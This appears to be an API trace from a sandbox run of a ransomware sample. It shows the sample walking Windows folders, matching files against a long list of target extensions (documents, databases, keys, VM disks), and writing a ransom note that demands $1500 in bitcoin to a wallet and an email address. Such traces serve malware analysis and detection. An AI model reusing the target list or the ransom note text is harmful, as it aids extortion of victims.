(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.ppt") returned 0 [0109.129] lstrlenA (lpString="*.ppt") returned 5 [0109.130] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.pptx") returned 0 [0109.130] lstrlenA (lpString="*.pptx") returned 6 [0109.130] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.doc") returned 0 [0109.130] lstrlenA (lpString="*.doc") returned 5 [0109.130] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.dot") returned 0 [0109.130] lstrlenA (lpString="*.dot") returned 5 [0109.130] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.docx") returned 0 [0109.130] lstrlenA (lpString="*.docx") returned 6 [0109.130] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.7z") returned 0 [0109.130] lstrlenA (lpString="*.7z") returned 4 [0109.130] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.tar") returned 0 [0109.130] lstrlenA (lpString="*.tar") returned 5 [0109.130] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.bz2") returned 0 [0109.130] lstrlenA (lpString="*.bz2") returned 5 [0109.130] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.gz") returned 0 [0109.130] lstrlenA (lpString="*.gz") returned 4 [0109.130] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.mkv") returned 0 [0109.130] lstrlenA (lpString="*.mkv") returned 5 [0109.130] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.eml") returned 0 [0109.130] lstrlenA (lpString="*.eml") returned 5 [0109.130] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.msg") returned 0 [0109.130] lstrlenA (lpString="*.msg") returned 5 [0109.130] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.edb") returned 0 [0109.130] lstrlenA (lpString="*.edb") returned 5 [0109.130] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.accdb") returned 0 [0109.131] lstrlenA (lpString="*.accdb") returned 7 [0109.131] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.odb") returned 0 [0109.131] lstrlenA (lpString="*.odb") returned 5 [0109.131] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.java") returned 0 [0109.131] lstrlenA (lpString="*.java") returned 6 [0109.131] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.asm") returned 0 [0109.131] lstrlenA (lpString="*.asm") returned 5 [0109.131] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.pfx") returned 0 [0109.131] lstrlenA (lpString="*.pfx") returned 5 [0109.131] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.pem") returned 0 [0109.131] lstrlenA (lpString="*.pem") returned 5 [0109.131] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.p12") returned 0 [0109.131] lstrlenA (lpString="*.p12") returned 5 [0109.131] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.gpg") returned 0 [0109.131] lstrlenA (lpString="*.gpg") returned 5 [0109.131] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.vsd") returned 0 [0109.131] lstrlenA (lpString="*.vsd") returned 5 [0109.131] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.odg") returned 0 [0109.131] lstrlenA (lpString="*.odg") returned 5 [0109.131] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.raw") returned 0 [0109.131] lstrlenA (lpString="*.raw") returned 5 [0109.131] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.nef") returned 0 [0109.131] lstrlenA (lpString="*.nef") returned 5 [0109.131] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.svg") returned 0 [0109.131] lstrlenA (lpString="*.svg") returned 5 [0109.131] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.psd") returned 0 [0109.132] lstrlenA (lpString="*.psd") returned 5 [0109.132] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.vmx") returned 0 [0109.132] lstrlenA (lpString="*.vmx") returned 5 [0109.132] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.vmdk") returned 0 [0109.132] lstrlenA (lpString="*.vmdk") returned 6 [0109.132] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.vdi") returned 0 [0109.132] lstrlenA (lpString="*.vdi") returned 5 [0109.132] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.lay6") returned 0 [0109.132] lstrlenA (lpString="*.lay6") returned 6 [0109.132] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.mpeg") returned 0 [0109.132] lstrlenA (lpString="*.mpeg") returned 6 [0109.132] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.djvu") returned 0 [0109.132] lstrlenA (lpString="*.djvu") returned 6 [0109.132] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.tiff") returned 0 [0109.132] lstrlenA (lpString="*.tiff") returned 6 [0109.132] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.backup") returned 0 [0109.132] lstrlenA (lpString="*.backup") returned 8 [0109.132] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.pdf") returned 0 [0109.132] lstrlenA (lpString="*.pdf") returned 5 [0109.132] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.cert") returned 0 [0109.132] lstrlenA (lpString="*.cert") returned 6 [0109.132] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.docm") returned 0 [0109.132] lstrlenA (lpString="*.docm") returned 6 [0109.132] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.xlsm") returned 0 [0109.132] lstrlenA (lpString="*.xlsm") returned 6 [0109.132] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.dwg") returned 0 [0109.133] lstrlenA (lpString="*.dwg") returned 5 [0109.133] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.nd") returned 0 [0109.133] lstrlenA (lpString="*.nd") returned 4 [0109.133] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.tlg") returned 0 [0109.133] lstrlenA (lpString="*.tlg") returned 5 [0109.133] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.lgb") returned 0 [0109.133] lstrlenA (lpString="*.lgb") returned 5 [0109.133] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.mov") returned 0 [0109.133] lstrlenA (lpString="*.mov") returned 5 [0109.133] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.xdw") returned 0 [0109.133] lstrlenA (lpString="*.xdw") returned 5 [0109.133] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.ods") returned 0 [0109.133] lstrlenA (lpString="*.ods") returned 5 [0109.133] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.wav") returned 0 [0109.133] lstrlenA (lpString="*.wav") returned 5 [0109.133] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.mp3") returned 0 [0109.133] lstrlenA (lpString="*.mp3") returned 5 [0109.133] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.aiff") returned 0 [0109.133] lstrlenA (lpString="*.aiff") returned 6 [0109.133] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.flac") returned 0 [0109.133] lstrlenA (lpString="*.flac") returned 6 [0109.133] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.m4a") returned 0 [0109.133] lstrlenA (lpString="*.m4a") returned 5 [0109.133] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\ec50af274bf7a15fb59ac1f0d353b7ea\\Microsoft.PowerShell.Commands.Diagnostics.ni.dll", pszSpec="*.csv") returned 0 [0109.134] lstrlenA (lpString="*.csv") returned 5 [0109.134] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb687b49, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xeb687b49, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xeb687b49, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x65c00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Commands.Diagnostics.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0109.134] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0109.134] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb6d3e09, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xeb6d3e09, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xeb6d3e09, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="ec50af274bf7a15fb59ac1f0d353b7ea", cAlternateFileName="EC50AF~1")) returned 0 [0109.134] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0109.134] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62ff7dc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xd6b8ee50, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0xd6b8ee50, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x69004d, dwReserved1=0x720063, cFileName="Microsoft.Security.#", cAlternateFileName="MICROS~1.#")) returned 1 [0109.134] lstrcmpA (lpString1=".", lpString2="Microsoft.Security.#") returned -1 [0109.134] lstrcmpA (lpString1="..", lpString2="Microsoft.Security.#") returned -1 [0109.134] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0109.134] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="Microsoft.Security.#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#" [0109.134] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#") returned 67 [0109.134] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62ff7dc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xd6b8ee50, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0xd6b8ee50, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0109.140] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0109.140] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62ff7dc0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xd6b8ee50, ftLastAccessTime.dwHighDateTime=0x1d2dda2, ftLastWriteTime.dwLowDateTime=0xd6b8ee50, ftLastWriteTime.dwHighDateTime=0x1d2dda2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0109.141] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0109.141] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0109.141] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63090340, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x63090340, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x63090340, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="267f03b78a9514be8c1ebd278f03e3ff", cAlternateFileName="267F03~1")) returned 1 [0109.141] lstrcmpA (lpString1=".", lpString2="267f03b78a9514be8c1ebd278f03e3ff") returned -1 [0109.141] lstrcmpA (lpString1="..", lpString2="267f03b78a9514be8c1ebd278f03e3ff") returned -1 [0109.141] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\*.*") returned="*.*" [0109.141] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\", lpString2="267f03b78a9514be8c1ebd278f03e3ff" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff" [0109.141] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff") returned 100 [0109.141] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63090340, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x63090340, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x63090340, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0109.169] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0109.169] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x63090340, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x63090340, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x63090340, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0109.169] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0109.169] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0109.169] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310bcb59, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x310bcb59, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0xb3603586, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x10200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0109.169] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0109.169] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll") returned -1 [0109.169] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll") returned -1 [0109.169] lstrcmpiA (lpString1="", lpString2="Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll") returned -1 [0109.169] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\*.*") returned="*.*" [0109.170] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\" [0109.170] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\") returned="" [0109.170] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\HOW TO DECRYPT FILES.txt" [0109.170] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.security.#\\267f03b78a9514be8c1ebd278f03e3ff\\how to decrypt files.txt")) returned 0xffffffff [0109.170] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.security.#\\267f03b78a9514be8c1ebd278f03e3ff\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0109.189] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0109.189] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0109.191] SetFileTime 